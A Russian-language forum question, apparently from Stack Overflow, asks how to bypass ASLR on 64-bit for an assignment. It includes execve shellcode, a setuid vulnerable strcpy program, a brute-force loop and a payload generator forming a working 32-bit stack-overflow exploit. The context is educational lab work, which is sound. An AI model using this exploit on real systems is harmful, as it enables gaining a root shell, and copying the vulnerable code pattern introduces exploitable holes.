Как это обойти, если код скомпилирован как 64-битный? Нет необходимости получать root-оболочку; достаточно просто убедиться, что адрес угадан правильно. В моем задании обойти aslr за 10 минут.
Ниже приведен метод, который я использовал, когда скомпилировал его как 32-битный.
код — это шелл-код.
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80"; /* int $0x80 */
sudo sysctl -w kernel.randomize_va_space=2
gcc -o stack -z exestack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
/* stack.c : vulnerable program */
#include
#include
#include
void foo(char *str)
{
char buffer[100];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return;
}
int main(int argc, char **argv)
{
char str[400];
FILE *badfile;
badfile = fopen("badfile", "r");
if (badfile == NULL) {
perror("fopen");
exit(1);
}
fread(str, sizeof(char), 300, badfile);
fclose(badfile);
foo(str);
printf("Returned Properly\n");
return 0;
}
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(( $duration / 60 ))
sec=$(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))
# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode
# Put the address at offset 112
ret = 0xbfffeaf8 + 120
content[112:116] = (ret).to_bytes(4, byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
Подробнее здесь: https://stackoverflow.com/questions/798 ... assignment